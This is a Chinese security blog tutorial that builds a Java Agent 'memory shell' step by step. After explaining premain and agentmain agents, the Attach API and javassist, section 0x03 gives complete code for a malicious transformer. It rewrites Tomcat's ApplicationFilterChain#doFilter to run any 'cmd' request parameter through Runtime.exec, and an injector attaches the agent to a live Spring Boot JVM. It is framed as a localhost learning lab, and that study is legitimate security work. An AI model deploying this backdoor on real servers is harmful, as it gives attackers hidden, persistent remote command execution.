Java内存马Java-Agent篇

0x00 前言

本文难度会大一些,而且在各种配置上有很多坑,不要放弃,慢慢来。

本文全程使用JDK8u65。

0x01 Java Agent概述

一个运行中的 Java 程序运行在一个 JVM(Java 虚拟机)实例中。

Java Agent可以在程序运行时动态地修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。

对于 Agent(代理)来讲,其大致可以分为两种,一种是在 JVM 启动前加载的premain-Agent,另一种是 JVM 启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图:
Premain-Agent

image-20250516233435170

agentmain-Agent

image-20250516233456163

0x02 几种Java Agent实例

环境配置

起一个默认的Maven环境。

在项目的/src/main/目录下创建resources目录,并往下创建META-INF目录,在该目录下创建MANIFEST.MF文件,目录结构如下图:(其它没见过的目录先不用管)

image-20250516234505648

在pom.xml添加如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>2.6</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestFile>
src/main/resources/META-INF/MANIFEST.MF
</manifestFile>
</archive>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>6</source>
<target>6</target>
</configuration>
</plugin>
</plugins>
</build>

premain-Agent

坑点:

我个人新建Test1包,把下面用到的文件都基于Test1包,结果报错说URLClassLoader找不到这些类,所以我直接把下面的文件都放到/src/main/java目录也就是代码根目录下,成功。

从上面流程图可知,在运行一个类的main方法之前,会先调用指定jar包中Premain-Class类中的premain方法。

先创建一个premain-Agent类:

1
2
3
4
5
6
7
8
9
import java.lang.instrument.Instrumentation;

public class Java_Agent_premain {
public static void premain(String args, Instrumentation inst) {
for (int i =0 ; i<10 ; i++){
System.out.println("premain-Sleep_Transformer");
}
}
}

由于该尝试的特殊性,我们在该目录下新建一个MANIFEST.MF,内容如下:

1
2
3
Manifest-Version: 1.0
Premain-Class: Java_Agent_premain

先创建Java Agent的class文件,再打包成jar:

1
2
3
4
REM 创建class文件
javac Java_Agent_premain.java
REM 生成Java Agent的jar
jar cvfm agent.jar MANIFEST.MF Java_Agent_premain.class

然后我们就在当前目录下看到了agent.jar包。

我们再创建一个Hello类,表示一个正常运行的程序,或者说受害程序:

1
2
3
4
5
public class Hello {
public static void main(String[] args) {
System.out.println("Hello World!");
}
}

修改一下MANIFEST.MF:

1
2
3
Manifest-Version: 1.0
Main-Class: Hello

接着生成class,创建jar:

1
2
3
4
REM 创建class文件
javac Hello.java
REM 生成Java Agent的jar
jar cvfm hello.jar MANIFEST.MF Hello.class

然后在当前目录下一共有这么多文件:
image-20250517000444437

我们现在要在hello.jar执行之前执行agent.jar,执行命令如下:

1
java -javaagent:agent.jar=Hello -jar hello.jar

结果如下图:

image-20250517002305869

原理上,我们在Hello类main方法执行之前先执行了premain-Agent类的premain方法。

agentmain-Agent

相较于premain-Agent只能在JVM启动前加载,agentmain-Agent能够在JVM启动之后加载并实现相应的修改字节码功能。

跟agentmain-Agent有关的两个类:

  • com.sun.tools.attach.VirtualMachine
  • com.sun.tools.attach.VirtualMachineDescriptor

VirtualMachine类可以获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等。该类的主要方法如下:

1
2
3
4
5
6
7
8
9
10
11
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。

我们可以通过利用上面两个类,获得一个正常运行的JVM,并实现一些功能,比如获取JVM的PID:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package Test2;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class GetPID {
public static void main(String[] args) {
List<VirtualMachineDescriptor> vm = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : vm) {
if (vmd.displayName().equals("Test2.GetPID")) {
System.out.println(vmd.id());
}
}
}
}

image-20250517090252198

下面我们要开始进行攻击了。先创建一个Sleep_Hello类,模拟一个正常运行的程序:

1
2
3
4
5
6
7
8
9
10
11
12
package Test2;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while (true){
System.out.println("Hello World!");
sleep(5000);
}
}
}

然后创建一个Java_Agent_agentmain类,其作为一个Java Agent,将会被打包成jar并注入到JVM里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package Test2;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class Java_Agent_agentmain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用了Java Agent!");
sleep(3000);
}
}
}

接下来是编译成class并1打包成jar,我选择修改/src/main/resources/META-INF/MANIFEST.MF文件(与学习premain-Agent所使用的MANIFEST.MF路径不同)。

1
2
3
Manifest-Version: 1.0
Agent-Class: Test2.Java_Agent_agentmain

我们前面已经把pom.xml设置好了,直接运行命令:(在idea的终端就可以了)

1
mvn clean compile assembly:single   

然后会在target命令下生成对应的jar:
image-20250517091402881

现在有了jar,但是不可能说直接上传jar就可以攻击程序,我们需要执行一段代码,让该Java Agent注入到目标JVM里,这里就再创建一个类实现这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package Test2;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("Test2.Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("Path\\to\\horses3-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

先运行Test2.Sleep_Hello,然后再运行Inject_Agent。Inject_Agent会找到Test2.Sleep_Hello对应的JVM,并把Java Agent的jar注入其中,然后Java Agent里的恶意代码就跟着执行了:

image-20250517092021679

动态修改字节码 Instrumentation

说到修改字节码,首先想到的就是javassist,其具体的原理和使用方法请读者移步本文最后的Reference,本文不做讲解。给pom.xml加入依赖:

1
2
3
4
5
<dependency>  
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

Instrumentation是JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。

该类是一个接口,很有必要了解其方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public interface Instrumentation {

//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);


//在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;



//判断一个类是否被修改
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

//获取一个对象的大小
long getObjectSize(Object objectToSize);

}

这里的类转换器是ClassFileTransformer接口,该接口下只有一个方法:transform,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在java agent内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,与addTransformer搭配使用。

1
2
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。  
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

那么如何运用到攻击中呢?前文谈到的agentmain-Agent里可以执行任意代码,那么就这么写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package Test3;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class Attack_jar {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class[] classes = inst.getAllLoadedClasses();
for (Class aClass : classes) {
if (aClass.getName().equals("Test3.Sleep")) {
inst.addTransformer(new Sleep_Transformer(), true);
inst.retransformClasses(aClass);
}
}

}
}

Test3.Sleep类似Test2.Sleep_Hello类,模拟一个正常的程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package Test3;

import static java.lang.Thread.sleep;

public class Sleep {
public static void main(String[] args) throws Exception {
while(true){
hello();
sleep(3000);
}
}

public static void hello() {
System.out.println("Hello");
}
}

Sleep_Transformer类是一个实现了ClassFileTransformer接口的类,其利用javassist修改Test3.Sleep类的hello方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package Test3;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Sleep_Transformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("Test3.Sleep");
System.out.println(ctClass);

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");

//设置方法体
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

然后在Attack_jar类也就是Java Agent会调用Instrumentation类的retransformClasses方法重新加载Test3.Sleep类,接着生成对应的jar包,并注入到Test3.Sleep对应的JVM中。写一个类实现该过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package Test3;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Attack_main {
public static void main(String[] args) throws Exception{
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
//遍历每一个正在运行的JVM,如果JVM名称为Test3.Sleep则连接该JVM并加载特定Agent
if(vmd.displayName().equals("Test3.Sleep")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("Path\\to\\horses3-1.0-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

生成jar包的配置文件MANIFEST.MF需要再添加两行,告诉JVM这个Agent支持 类重定义和类再转换(retransform)的能力。不然报错如下:
image-20250517094321439

修改后的MANIFEST.MF:

1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: Test3.Attack_jar
Can-Redefine-Classes: true
Can-Retransform-Classes: true

结果如下图:

image-20250517094553978

0x03 Java Agent内存马实战

实战中,可以采用上传Java Agent的jar包,然后执行代码把jar注入到服务JVM里,实现内存马攻击。

就直接在当前项目新建一个Spring Boot模块,类型选择Maven,添加Spring Web依赖。

基于该模块,把pom.xml,MANIFEST.MF及所在目录结构,lib添加到模块库等操作都再进行一遍。

目录结构如下:

image-20250517100501353

BaseController是一个常规服务:

1
2
3
4
5
6
7
8
9
10
11
12
package com.agent_filter;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;

@Controller
public class BaseController {
@GetMapping("/")
public String index() {
return "forward:/index.html";
}
}

我们首先要搞清楚如何攻击。Java Agent需要注入到目标服务的JVM里,具体是通过ClassFileTransformer去修改一个组件的某个方法。

Spring Boot基于Tomcat,由于Tomcat的责任链机制,程序会反复调用 ApplicationFilterChain#doFilter方法。所以这里选择该方法:
image-20250517100928912

先创建恶意的ClassFileTransformer实现类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package Attack;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Filter_Transformer implements ClassFileTransformer {


@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try{
ClassPool classPool = ClassPool.getDefault();
//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
//设置方法体
String body = "{" +
"javax.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

然后创建Java Agent:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package Attack;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class Attack_jar {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();

//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){

//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Filter_Transformer(),true);
inst.retransformClasses(cls);
}
}
}
}

生成对应的jar:(终端是基于当前模块的)。然后报错:

image-20250517101446140

有一个快捷的方法,往pom.xml添加:(放到第一个dependencies标签里)

1
2
3
4
5
6
7
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8.0</version>
<scope>system</scope>
<systemPath>D:/JDK/cc/java8u65/lib/tools.jar</systemPath>
</dependency>

然后实现注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package Attack;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Attack_main {
public static void main(String[] args) throws Exception {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){
System.out.println(vmd.displayName());
if(vmd.displayName().contains("AgentFilterApplication")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("E:\\all_test\\test_java\\com\\MeHorses\\horses3\\Agent_Filter\\target\\Agent_Filter-0.0.1-SNAPSHOT-jar-with-dependencies.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

首先启动Spring Boot服务:

image-20250517103138570

再运行Attack_main类,然后访问localhost:8080?cmd=calc:
image-20250517103320342

这就完成了Java Agent内存马攻击了。

0x04 冰蝎里的Java Agent内存马利用

等我研究一段时间······

0x05 Reference

Java Agent 内存马学习 | Drunkbaby’s Blog

Java安全学习——内存马 - 枫のBlog